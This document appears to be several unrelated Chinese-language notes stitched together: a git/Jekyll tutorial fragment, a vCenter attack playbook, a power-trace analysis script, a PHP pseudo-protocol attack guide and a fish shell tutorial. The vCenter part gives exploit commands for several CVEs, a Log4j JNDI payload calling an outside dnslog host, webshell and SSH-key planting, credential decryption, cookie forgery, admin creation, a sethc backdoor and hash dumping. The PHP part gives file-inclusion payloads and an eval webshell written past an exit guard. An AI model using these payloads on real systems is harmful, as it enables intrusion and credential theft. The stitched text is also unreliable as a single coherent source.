现在需要达成开发机和 github.com 的互信。 因为开发过程中,我们需要用本地机器向 github.com 的仓库中 写东西( git push ),同时我们又不想每次都输入密码,所以我们就用 ssh key 的形式来达成互信,过程如下: - 在本地机器上生成一对 ssh key ,一个公钥,一个私钥 - 把公钥添加到 github.com 具体操作如下: - 首先本地运行 `ssh-keygen` 命令,可以在 ~/.ssh 文件夹下生产 ssh key - 到 `~/.ssh/id_rsa.pub` 也就是公钥文件中,拷贝公钥字符串 - 把字符串粘贴到 github.com -> setting -> ssh keys -> add 这样添加 ssh key 的工作就完成了,以后我们执行 git push 这样的命令就不会看到如下错误了: ``` ...permission denied... ...make sure ... correct access right ... ``` 大功告成。 ### Github Pages 显示网站 上面的步骤操作完成,就可以在 l552177239.github.io 看到网站的首页了。 当然我们这里依然是使用 Github Pages 服务,所以是可以添加 md 文件的。 下面,我们涉及到如何把网站做的好看一些的问题。这个需要了解 github Pages 底层的机制。底层 Github Pages 采用了 Jekyll 框架。 ### Jekyll 框架 要把 Github Pages 的网站做漂亮,必须了解 Jekyll 框架如何运行的。 首先,.md 文件,也就是 markdown 格式的支持,就是 Jekyll 提供给我们的。这个前面已经详细介绍过了。 现在,我们来添加**布局文件** - 英文参考文档:[官网](https://jekyllrb.com/docs/frontmatter/) - 中文参考文档(有可能过期): [中文网](http://jekyll.com.cn/docs/frontmatter/) ### Jekyll: 添加布局文件 首先打开所有的 .md 中的头部改成这样 ``` --- title: First Page layout: default --- ``` 然后来创建布局文件 default.html ,这个文件必须存放到 _layouts 文件夹之内, _layouts/default.html 内容如下,可以参考我的其他项目中的写法。例如: anything anything content anything anything 注意,上面的 content 外面要套两个大括号。 `anything anything` 可以替换成任意字符端,当然也可以替换成 html 代码。所以就可以给 .md 文件引入 main.css 了。 ### Jekyll: 引用 main.css _layouts/default.html 中这样写 ```html <html> <head> <link rel="stylesheet" href="/css/main.css" </head> <body> content </body> </html> ``` > 注意:上面的 content 外面要套两层大括号。另外,特别要注意的是 main.css 一定不能写到 _layouts 文件夹,或者任意的以 _ 打头的文件夹内。 当前,我们的 main.css 要放到项目顶级文件夹下的 css 文件夹之内 css/main.css ```css body { background: #bada55; } ``` ### git clone 命令 要想把 github 上的一个项目代码下载到本地有两种方式,一种就是普通下载( download )。但是,开发者 基本上会选择另外一种方式,就是 clone 。 ``` git clone <版本库的网址> ``` clone 的特点就是不仅仅可以得到最新代码,而且可以得到整个改版历史。而普通下载只能得到最新版本。 ### 解决remote origin already exists问题 远程源已经存在问题 1、先删除远程 git 仓库 ``` git remote rm origin ``` 2、再添加远程 Git 仓库 ``` git remote add origin https://github.com/l552177239/webpack.git ``` 如果执行 git remote rm origin 报错的话,我们可以手动修改gitconfig文件的内容 ``` vi .git/config ``` 把 [remote “origin”] 那一行删掉就好了 参考地址:[点击进入](http://blog.csdn.net/top_code/article/details/50381432) ### git 各个命令的作用 - `git push` 把本地仓库中有,而远端对应仓库中没有的**版本**推送到远端 - `git pull` 把远端仓库中有,而本地对应仓库中没有的**版本**拉到本地 - `git clone` 把远端仓库,克隆到本地 ### 学习 Github/Git 的学习目标 - 知道 git 是**版本控制**工具 - 要有一个 github 仓库 - 已经添加 ssh key 互信,也就是可以从本地仓库推送内容( git push )到 github 仓库 - 可以在本地仓库中任意添加,删除,修改文件,并作成版本 这样,github/git 的初级使用我们就有能力完成了。但是,作为成熟开发者,github 上面会发 push request ,本地 git 会开启新分支,都是必备知识。暂时我们先不涉及。 ### 承前启后 程序员三大基本工具 - 编辑器 atom - 命令行 Linux - 版本控制 Git/Github 学习上面三大工具的目的,就是为了更加高效的**写代码** 。
sec-knowleage
# vCenter --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- > Fofa: title="ID_VC_Welcome" **简介** Vcenter 一般指 VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制,Vcenter 可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。 **相关文章** - [VMware vCenter漏洞实战利用总结](https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg) - [获取vCenter权限后的利用方式](https://www.djhons.com/2022/03/11/77.html) - [Vmware ESXI Virtual Machine Hacking (Linux, Windows) (Pass to Hash, Mimikatz, Windbg, Volatility)](https://vvhack.org/t/vmware-esxi-virtual-machine-hacking-linux-windows-pass-to-hash-mimikatz-windbg-volatility/353) **相关工具** - [Schira4396/VcenterKiller](https://github.com/Schira4396/VcenterKiller) - 一款针对 Vcenter 的综合利用工具,包含目前最主流的 CVE-2021-21972、CVE-2021-21985 以及 CVE-2021-22005 以及 log4j,提供一键上传 webshell,命令执行或者上传公钥使用 SSH 免密连接 **思路和 tips** - 拿下 vCenter 滚雪球扩大战果,获取 windows 机器的 hash,或者直接进入虚拟机进行信息搜集,收集内网密码策略 - vCenter 运行在 vmware 自家的 photonOS 上,这个系统开源在 https://github.com/vmware/photon 使用方法可以参考 https://vmware.github.io/photon/assets/files/html/3.0/photon_admin/ **环境搭建** - [vCenter搭建](../../../../Integrated/虚拟化/vCenter.md#环境搭建) - [ESXi搭建](../../../../Integrated/虚拟化/ESXi.md#环境搭建) --- ## 查看 Vcenter 版本 ``` /sdk/vimServiceVersions.xml ``` --- ## 远程利用 ### Vmware vCenter 任意文件读取 **POC | Payload | exp** ``` https://Domain/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties ``` --- ### Log4j **影响版本** * 7.x * 6.x **POC | Payload | exp** Vcenter 的 SAML 路由中,可以通过增加 XFF 头触发漏洞 ``` /websso/SAML2/SSO/vsphere.local?SAMLRequest= X-Forwarded-For: ${jndi:ldap://xxx.dnslog.cn/a} # 可用 tomcatecho ``` --- ### CVE-2020-3952 **漏洞描述** 在某些情况下,作为嵌入式或外部平台服务控制器(PSC)的一部分,随 VMware vCenter Server 提供的 vmdir 不能正确实施访问控制。 在受影响的 vmdir 部署 1 上有网络访问端口 389 的恶意行为者可能会提取高度敏感的信息,如管理账户凭证,可用于破坏 vCenter Server 或其他依赖 vmdir 进行验证的服务。也有可能出现不同的攻击payload,如创建新的由攻击者控制的管理账户。 **影响版本** - VMware vCenter Server 6.7系列 < 6.7.0u3f **相关文章** - [What’s a 10? Pwning vCenter with CVE-2020-3952](https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/) - [CVE-2020-3952:vCenter信息泄露漏洞分析](https://www.anquanke.com/post/id/203285) **POC | Payload | exp** - [guardicore/vmware_vcenter_cve_2020_3952](https://github.com/guardicore/vmware_vcenter_cve_2020_3952) ```bash git clone https://github.com/guardicore/vmware_vcenter_cve_2020_3952 # 安装下编译的依赖,不然装 python-ldap 会报错 apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev pip3 install python-ldap cd vmware_vcenter_cve_2020_3952 python3 exploit.py <VCENTER_IP> <NEW_USERNAME> <NEW_PASSWORD> ``` --- ### CVE-2021-21972 **漏洞描述** vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。 **影响版本** - VMware vCenter Server 7.0系列 < 7.0.0U1c - VMware vCenter Server 6.7系列 < 6.7.0U3l - VMware vCenter Server 6.5系列 < 6.5.0U3n - VMware ESXi 7.0系列 < ESXi70U1c-17325551 - VMware ESXi 6.7系列 < ESXi670-202102401-SG - VMware ESXi 6.5系列 < ESXi650-202102101-SG **相关文章** - [CVE-2021-21972 vCenter 6.5-7.0 RCE](https://mp.weixin.qq.com/s/saUkV6jAwmYuzg5QTRwyRw) - [VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识](https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ) - [Unauthorized RCE in VMware vCenter](https://swarm.ptsecurity.com/unauth-rce-vmware/) - [CVE-2021-21972:VMware vCenter Server远程代码执行漏洞复现](https://mp.weixin.qq.com/s/KvhFnEE6uhk3bMF2gHJ_DQ) - [CVE-2021-21972 Vmware vcenter未授权任意文件漏洞分析](https://mp.weixin.qq.com/s/0VZzc0gYBrGIeuu1-QCFag) - [CVE-2021-21972 vCenter Server 文件写入漏洞分析](http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/) - [CVE-2021-21972:vSphere Client RCE复现](https://mp.weixin.qq.com/s/AKfemW8kYe4rQ4HYIqDxMA) **POC | Payload | exp** - [NS-Sp4ce/CVE-2021-21972](https://github.com/NS-Sp4ce/CVE-2021-21972) ```bash git clone https://github.com/NS-Sp4ce/CVE-2021-21972.git cd CVE-2021-21972 python3 cve-2021-21972.py -url ``` - [TaroballzChen/CVE-2021-21972](https://github.com/TaroballzChen/CVE-2021-21972) - [horizon3ai/CVE-2021-21972](https://github.com/horizon3ai/CVE-2021-21972) ```bash git clone https://github.com/horizon3ai/CVE-2021-21972.git cd CVE-2021-21972 # 写 ssh 公钥方法 (默认 vcenter 不开启远程 ssh) # /root/.ssh/id_rsa.pub 这个公钥需提前生成 # 这个 192.168.8.250 是我vcenter测试机器的目标地址,记得改成自己的 python3 CVE-2021-21972.py -t 192.168.8.250 -f /root/.ssh/id_rsa.pub -p /home/vsphere-ui/.ssh/authorized_keys -o unix ssh 192.168.8.250 -l vsphere-ui ``` --- ### CVE-2021-21973 SSRF **漏洞描述** VMware vCenter Server 插件中对用户提供的输入验证不当,未经过身份验证的远程攻击者可以发送特制的 HTTP 请求,欺骗应用程序向任意系统发起请求。 **影响版本** - vCenter Server: 6.5, 6.5 U1, 6.5 U3, 6.5.0, 6.5.0a, 6.5.0b, 6.5.0c, 6.5.0d, 6.5u2c, 6.7, 6.7 U3, 6.7.0, 6.7.0d, 6.7u3f, 7.0 - Cloud Foundation: before 3.10.1.2, 4.2 **POC | Payload | exp** - https://twitter.com/osama_hroot/status/1365586206982082560 --- ### CVE-2021-21985 **漏洞描述** 该漏洞存在于 vSphere Client(HTML5)中,由于 vCenter Server 中默认启用的 Virtual SAN Health Check 插件缺乏输入验证,拥有 443 端口网络访问权限的攻击者可以利用此漏洞在承载 vCenter Server 的操作系统上远程执行任意命令。 **影响版本** - VMware vCenter Server 7.0系列 < 7.0.0U2b - VMware vCenter Server 6.7系列 < 6.7.0U3n - VMware vCenter Server 6.5系列 < 6.5.0U3p - VMware Cloud Foundation 4.x 系列 < 4.2.1 - VMware Cloud Foundation 4.x 系列 < 3.10.2.1 **相关文章** - [VMware vCenter Server远程代码执行POC](https://www.hedysx.com/2761.html) - [Vcenter Server CVE-2021-21985 RCE PAYLOAD](https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/) - [CVE-2021-21985: VMware vCenter Server RCE复现](https://mp.weixin.qq.com/s/_4YyfYvxmjg9s49ucsUt8Q) - [CVE-2021-21985 vCenter Server 远程代码执行漏洞分析](http://noahblog.360.cn/vcenter-cve-2021-2021-21985/) **POC | Payload | exp** - [r0ckysec/CVE-2021-21985](https://github.com/r0ckysec/CVE-2021-21985) ```bash git clone https://github.com/r0ckysec/CVE-2021-21985.git cd CVE-2021-21985 python3 CVE-2021-21985_echo.py https://x.x.x.x whoami ``` - [vCenter Server CVE-2021-21985 POC](https://mp.weixin.qq.com/s/KYG76IbR6PRs8PjrNDyVkQ) - [alt3kx/CVE-2021-21985_PoC](https://github.com/alt3kx/CVE-2021-21985_PoC) --- ### CVE-2021-22005 **漏洞描述** 在 CVE-2021-22005 中,攻击者可构造恶意请求,通过 vCenter 中的 Analytics 服务,可上传恶意文件,从而造成远程代码执行漏洞。 **影响版本** - VMware vCenter Server 7.0系列 < 7.0 U2c - VMware vCenter Server 6.7系列 < 6.7 U3o - VMware vCenter Server 6.5系列 不受该漏洞影响 - VMware Cloud Foundation (vCenter Server) 4.x - VMware Cloud Foundation (vCenter Server) 3.x **相关文章** - [CVE-2021-22005-VMware VCenter Server 从目录穿越到命令执行(需CEIP开启)](https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw) - [vCenter CVE-2021-22005](https://www.o2oxy.cn/3773.html) - [VMware vCenter漏洞之CVE-2021-22005追踪记](https://web.archive.org/web/20211122052252/https://p0rz9.github.io/2021/10/vmware-vcenter-lou-dong-zhi-cve-2021-22005-zhui-zong-ji/) - [CVE-2021-22005-VMware vCenter漏洞学习](https://mp.weixin.qq.com/s/EfmNK7Hb4rdm0L9mdz_bwg) **POC | Payload | exp** - [r0ckysec/CVE-2021-22005](https://github.com/r0ckysec/CVE-2021-22005) - [shmilylty/cve-2021-22005-exp](https://github.com/shmilylty/cve-2021-22005-exp) ```bash # 该 exp 只能打目标为 Linux 版本的 vCenter git clone https://github.com/shmilylty/cve-2021-22005-exp.git cd cve-2021-22005-exp chmod +x exp.elf && ./exp.elf -t https://x.x.x.x -s hello.jsp ``` - [rwincey/CVE-2021-22005](https://github.com/rwincey/CVE-2021-22005) --- ### CVE-2021-22017 **相关文章** - [CVE-2021-22017-VMware vCenter Server从认证绕过到Velocity RCE(无需CEIP开启)](https://mp.weixin.qq.com/s/hZsfz4nw4HuYlduz7LK18g) --- ### arbitrary file read + ssrf + xss **POC | Payload | exp** - [l0ggg/VMware_vCenter](https://github.com/l0ggg/VMware_vCenter) - [从VMware vCenter SSRF漏洞调试来看系统模块调用与认证机制](https://mp.weixin.qq.com/s/vcys3zYPkjMcBWrpl8A3Dg) --- ## 提权 ### CVE-2021-3156 **漏洞描述** 在 sudo 解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer 和非 sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得 root 权限。 **相关文章** - [Exploiting the Sudo Baron Samedit vulnerability (CVE-2021-3156) on VMWare vCenter Server 7.0](https://research.nccgroup.com/2021/07/06/exploiting-the-sudo-baron-samedit-vulnerability-cve-2021-3156-on-vmware-vcenter-server-7-0/) ### CVE-2021-22015 **漏洞描述** vcenter 本地的提权, 由于 /usr/lib/vmware-vmon/java-wrapper-vmon 文件以 root 权限调用,vsphere-ui 用户属于 cis 组中,而 cis 组的用户都可以修改 java-wrapper-vmon 文件,所以编辑 java-wrapper-vmon 文件,在 vcenter 服务重启时可以触发提权。 **影响版本** - VMware vCenter Server 7.0系列 - VMware vCenter Server 6.7系列 - VMware vCenter Server 6.5系列 **相关文章** - [vScalation (CVE-2021-22015)- Local Privilege Escalation in VMware vCenter](https://www.pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/) --- ## 后渗透 **Postgresql 的配置文件位置** - linux : /etc/vmware-vpx/vcdb.properties - windows : C:\programdata\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties **相关工具** - [JamesCooteUK/SharpSphere](https://github.com/JamesCooteUK/SharpSphere) - .NET Project for Attacking vCenter - [RicterZ/PySharpSphere](https://github.com/RicterZ/PySharpSphere) - Inspired by SharpSphere, just another python version. ### CVE-2022-22948 **漏洞描述** 对 postgresql 里的 vcenter 密码解密 **相关文章** - [CVE-2022-22948: Sensitive Information Disclosure in VMware vCenter](https://www.pentera.io/blog/information-disclosure-in-vmware-vcenter/) **POC | Payload | exp** - [shmilylty/vhost_password_decrypt](https://github.com/shmilylty/vhost_password_decrypt) - vhost password decrypt ```bash # symkey.dat Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat Linux: /etc/vmware-vpx/ssl/symkey.dat # postgres user password Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties Linux: /etc/vmware-vpx/vcdb.properties /etc/vmware/service-state/vpxd/vcdb.properties # 密文 psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc # 解密 git clone https://github.com/shmilylty/vhost_password_decrypt.git cd vhost_password_decrypt pip3 install pycryptodome python3 decrypt.py symkey.dat password.enc password.txt ``` ### 伪造 cookie **获取 data.mdb** - windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb - linux:/storage/db/vmware-vmdir/data.mdb **相关工具** - [horizon3ai/vcenter_saml_login](https://github.com/horizon3ai/vcenter_saml_login) - A tool to extract the IdP cert from vCenter backups and log in as Administrator > 目标机器内网 ip 需要本地可以访问到,否则无法伪造 cookie。 ```bash python3 vcenter_saml_login.py -p data.mdb -t <目标机器内网ip> ``` 替换 cookie 进行访问 ### LDAP 创建管理员 **相关文章** - https://3gstudent.github.io/vSphere开发指南5-LDAP **相关工具** - https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py ```bash # 执行命令搜集相关信息 python vCenterLDAP_Manage.py python vCenterLDAP_Manage.py getadmin python vCenterLDAP_Manage.py getuser # 根据收集到的信息修改脚本内容 python vCenterLDAP_Manage.py adduser python vCenterLDAP_Manage.py addadmin # 登录验证 ``` ### 获取 Vcenter 后台 windows 机器权限 **pe** 把 pe 文件上传到 vcenter 中。然后在 CD/DVD 驱动器中选择刚刚上传的 pe。最后在虚拟机选项中的引导选项勾选强制进入 bios,保存后打开虚拟机电源。 进入 bios 后在 boot 中按 -+ 调整顺序,将 CD-ROM Drive 设置为第一启动项,进入 PE 后在 windows/system32 中将 sethc.exe 改为 sethc.bak,复制一个 cmd 并重命名为 sethc.exe,然后重新勾选强制进入 bios,重启后将 CD-ROM Drive 改回去,然后按五次 shift 弹出 cmd 或者把后门放到启动项里也是一样 - https://mp.weixin.qq.com/s/-cEf0bG8j_8VdoSEeMsNGw **KonBoot** - https://mp.weixin.qq.com/s/Okxc4CdFRPe82UHN4UXQHQ 和 pe 也一个套路,通过上传 KonBoot 镜像,然后克隆一台出来,修改引导,免密进入,抓取 hash **挂载VMDK** - https://mp.weixin.qq.com/s/JI3YlyComDViFX31UE8ddA 克隆一个域控机器, 将克隆的目标域控机器的 vmdk 文件挂载到一台我们能够正常登录的机器上, 然后本地抓取 hash **内存取证** - https://mp.weixin.qq.com/s/DbXxm6vWgtL8uGjO_z-ocA 进后台,找 windows 主机,创建快照。 快照保存在相对应的数据库中,在相对应的数据库中下载 vmem 和 vmsn 这两个文件。 利用 volatility 查看 hash,可以参考笔记 [Volatility](../../../安全工具/Volatility.md#信息) ``` volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist # -y 是 system # -s 是 sam volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010 ``` ### 获取 Vcenter 后台 linux 机器权限 **忘记密码** 参考 centos 忘记密码的还原方法 - [密码重置](../../../../Integrated/Linux/Secure-Linux.md#密码重置)
sec-knowleage
from library import * from collections import defaultdict if len(sys.argv) > 2: n = int(sys.argv[2]) else: n = None i, o, t = load_npz(sys.argv[1]) t = t[:, 275000:305000] normalize(t) align_fft(t, 1000) t = t[:, :-1000] if 1: t_parts = np.zeros((len(t) * 16, 2000)) for j, tra in enumerate(t): off = 3500 for k in range(16): t_parts[j * 16 + k] = tra[off:off+2000] off += 1350 if k % 4 == 3: off += 340 align_fft(t_parts, 100) t = t_parts if 1: t = t[:, 100:1600] normalize(t) align_fft(t, 200) if 0: t = t[:, 4500:6500] normalize(t) align_fft(t, 100) t_avg = np.zeros((len(t) / 16, 1500)) for j in range(len(t_avg)): t_avg[j] = np.mean(t[j*16:j*16+16], axis=0) t = t_avg d = defaultdict(list) for j, inp in enumerate(i): inp = "".join(chr(c) for c in inp) d[inp].append(j) tlist = [] for indices in d.values(): tlist.append(indices) t1 = t[tlist[0][:12]] t2 = t[tlist[1][:12]] show_red_green(t1, t2)
sec-knowleage
# 伪协议 --- **相关文章 & Source & Reference** - [PHP伪协议的妙用](https://mp.weixin.qq.com/s/SqGH_AoYForFvh5W52fXkQ) --- ## filter协议 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 ``` resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 ``` 文件包含的案例 ```php <?php $file = $_GET["file"]; include($file); ?> ``` 在同目录下有一个flag.php文件 ```php <?php $flag = "flag{test}"; ``` 想要读取 flag.php 文件,可以利用 filter 伪协议,传参如下: ``` ?file=php://filter/convert.base64-encode/resource=flag.php ``` 这样即可读到 flag.php 文件 base64 加密过后的内容 ``` PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tMeHh4fSI7DQo/Pg== ``` 然而,对于 filter 协议,不只有这一种写法: ```php ?file=php://filter/read=convert.base64-encode/resource=flag.php # 这一种是指定读链的筛选列表 ?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php # 字符编码类型,将其解码,同样可以得到flag.php原内容 ?file=php://filter/read=string.toupper|string.rot13/resource=flag.php ?file=php://filter/string.strip_tags=/etc/passwd ``` --- 假设我们有以下代码 ```php <?php $content = $_POST['content']; file_put_contents($_GET['filename'], "<?php exit; ?>".$content); ``` 这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加 exit 的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。 分析这几行代码,一共需要我们传两个参数,一个是 POST 请求的 content,另一个是 GET 请求的 filename,而对于 GET 请求中的 filename 变量,我们是可以通过 php://filter 伪协议来控制的,在前面有提到,最常见的方法是使用 base64 的方法将 content 解码后传入。 ### base64编码绕过 假设我们先随便传入一句话木马: ``` ?filename=php://filter/convert.base64-decode/resource=1.php POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ ``` 这个时候我们打开1.php文件: 可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了 base64 解码,而且前面的 exit 也进行了解码。 仔细分析一下 exit 的代码: ```php <?php exit; ?> ``` base64 编码中只包含 64 个可打印字符,而当 PHP 在解码 base64 时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。 例如: ```php <?php $str = "dGVzdA=="; echo base64_decode($str); ?> ``` 得到结果:test 如果我们在 str 变量中添加一些不可见的字符或者是不可解码字符(\x00,?) ```php <?php $str = "dG?VzdA=="; echo base64_decode($str); ?> ``` 得到的结果仍然为:test 因此,对于 exit 中的代码,字符 <、?、;、>、空格等字符不符合 base64 解码范围。最终解码符合要求的只有 phpexit 这 7 个字符,而 base64 在解码的时候,是 4 个字节一组,因此还少一个,所以我们将这一个手动添加上去。 传payload如下: ``` ?filename=php://filter/convert.base64-decode/resource=1.php POSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ ``` content中第一个字符a就是我们添加的 这个时候我们查看1.php的内容如下: 可以看到一句话木马已经成功写入了。 ### rot13编码绕过 除了使用 base64 编码绕过,我们还可以使用 rot13 编码绕过。相比 base64 编码,rot13 的绕过 exit 更加方便,因为不用考虑前面添加的内容是否可以用 base64 解码,也不需要计算可 base64 解码的字符数量。 传payload: ``` ?filename=php://filter/string.rot13/resource=2.php POSTDATA: content=<?cuc riny($_CBFG[1]);?> ``` 打开1.php文件: ### 多种过滤器绕过 再仔细观察 exit 的代码: ```php <?php exit; ?> ``` 可以看到 exit 的代码其实本质上是 XML 标签,因此我们可以使用 strip_tags 函数除去该 XML 标签 并且,filter 协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码: ``` ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=3.php POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ ``` --- ## php://data ```php <?php $page = $_GET['a']; include($page); ?> // ?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== ``` 其中 base64 部分就是 <?php phpinfo(); --- ## zip:// 先将要执行的 PHP 代码写好文件名为 phpcode.txt, 将 phpcode.txt 进行 zip 压缩, 压缩文件名为 file.zip, 如果可以上传 zip 文件便直接上传, 若不能便将 file.zip 重命名为 file.jpg 后在上传,其他几种压缩格式也可以这样操作。 由于 # 在 get 请求中会将后面的参数忽略,所以使用 get 请求时候应进行 url 编码为 %23, ``` ?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt ``` --- ## phar:// `phar://` 和 `php://filter` 、`data://` 等流包装一样,都是将一组 php 文件打包,并创建默认执行的标志 (stub) phar:// 协议可以用于触发反序列化 这个方法是在BlackHat 大会上的 Sam Thomas 分享了 File Operation Induced Unserialization via the “phar://” Stream Wrapper ,该研究员指出该方法在文件系统函数 (file_get_contents 、 unlink 等) 参数可控的情况下,配合 `phar://` 伪协议 ,可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作。 phar 是 PHP 提供的一种压缩和归档的方案,并且还提供了各种处理它的方法。 **phar 结构** phar 由四部分组成: 1. stub 即用来标识 phar 文件的部分,类似 MZ 头。格式为 ```php <?php Phar::mapPhar(); include 'phar://phar.phar/index.php'; __HALT_COMPILER(); ?> ``` 2. manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分,也存储用户自定义的meta-data,这是用来攻击的入口,最核心的地方 3. the file contents 被压缩文件的内容 4. signature for verifying Phar integrity 可选项,即签名。
sec-knowleage
fishshell === 比 bash 更好用的 shell ## 安装 ```shell # Ubuntu 和 Debian 的安装方法。 sudo apt-get install fish # Mac 的安装方法。 brew install fish ``` ## 启动与帮助 由于 `Fish` 的语法与 `Bash` 有很大差异,`Bash` 脚本一般不兼容。因此,建议不要将 `Fish` 设为默认 `Shell`,而是每次手动启动它。 ```shell # 安装完成后,就可以启动 Fish。 $ fish # 使用过程中,如果需要帮助,可以输入 help 命令 $ help ``` ## 彩色显示 ```shell # 无效命令为红色 $ mkd # 有效命令为蓝色 $ mkdir # 有效路径会有下划线。如果没有下划线,你就知道这个路径不存在。 $ cat ~/somefi ``` ## 自动建议 Fish 会自动在光标后面给出建议,表示可能的选项,颜色为灰色。如果采纳建议,可以按下 `→` 或 `Control + F` 。如果只采纳一部分,可以按下 `Alt + →`。 ```shell $ /bin/hostname # 命令建议 $ grep --ignore-case # 参数建议 $ ls node_modules # 路径建议 ``` ## 自动补全 输入命令时,`Fish` 会自动显示匹配的上一条历史记录。如果没有匹配的历史记录,`Fish` 会猜测可能的结果,自动补全各种输入。比如,输入 `pyt` 再按下 `Tab` ,就会自动补全为 `python` 命令。 `Fish` 还可以自动补全 `Git` 分支。 ## 脚本语法 ### if 语句 ```shell if grep fish /etc/shells echo Found fish else if grep bash /etc/shells echo Found bash else echo Got nothing end ``` ### switch 语句 ```shell switch (uname) case Linux echo Hi Tux! case Darwin echo Hi Hexley! case FreeBSD NetBSD DragonFly echo Hi Beastie! case '*' echo Hi, stranger! end ``` ### while 循环 ```shell while true echo "Loop forever" end ``` ### for 循环 ```shell for file in *.txt cp $file $file.bak end ``` ### 函数 `Fish` 的函数用来封装命令,或者为现有的命令起别名。 ```shell function ll ls -lhG $argv end ``` 上面代码定义了一个 `ll` 函数。命令行执行这个函数以后,就可以用 `ll` 命令替代 `ls -lhG`。其中,变量 `$argv` 表示函数的参数。 ```shell function ls command ls -hG $argv end ``` 上面的代码重新定义 `ls` 命令。注意,函数体内的 `ls` 之前,要加上 `command`,否则会因为无限循环而报错。 ### 提示符 `fish_prompt` 函数用于定义命令行提示符(prompt)。 ```shell function fish_prompt set_color purple date "+%m/%d/%y" set_color FF0 echo (pwd) '>' set_color normal end ``` 执行上面的函数以后,你的命令行提示符就会变成下面这样。 ``` 02/06/13 /home/tutorial > ``` ## 配置 Fish 的配置文件是 `~/.config/fish/config.fish`,每次 `Fish` 启动,就会自动加载这个文件。Fish 还提供 Web 界面配置该文件。 ```shell $ fish_config # 浏览器打开 Web 界面配置 ``` Running Commands: 兼容 bash 等shell的命令执行方式 Getting Help: `help/man cmd -> browser/terminal` Syntax Highlighting: 实时检查命令是否正确 Wildcards: 支持缩写 `*` 递归 匹配 Pipes and Redirections: 使用 `^` 代表 stderr Autosuggestions: 自动建议, 可以使用 `Ctrl-f / ->` 来补全 Tab Completions: 更强大的 tab 补全 Variables: 使用 set 设置 Exit Status: 使用 `echo $status` 替代 `$?` Exports (Shell Variables) Lists: all variables in fish are really lists Command Substitutions: 使用 `(cmd)` 来执行命令, 而不是 反引号、`$()` Combiners (And, Or, Not): 不支持使用符合来表示逻辑运算 Functions:使用 `$argv` 替代 `$1` Conditionals (If, Else, Switch) / Functions / Loops: 更人性化的写法(参考 py) Prompt: `function fish_prompt` 实现 Startup (Where's .bashrc?): `~/.config/fish/config.fish`,更好的方式是 autoloading-function、universal-variables Autoloading Functions: ` ~/.config/fish/functions/.` Universal Variables:a variable whose value is shared across all instances of fish ```shell set name 'czl' # 设置变量,替代 name=czl echo $name echo $status # exit status,替代 $? env # 环境变量 set -x MyVariable SomeValue # 替代 export set -e MyVariable set PATH $PATH /usr/local/bin # 使用 lists 记录 PATH set -U fish_user_paths /usr/local/bin $fish_user_paths # 永久生效 touch "testing_"(date +%s)".txt" # command subtitution,替代 `date +%s` cp file.txt file.txt.bak; and echo 'back success'; or echo 'back fail' # combiner functions # 列出 fish 下定义的函数 ``` ## 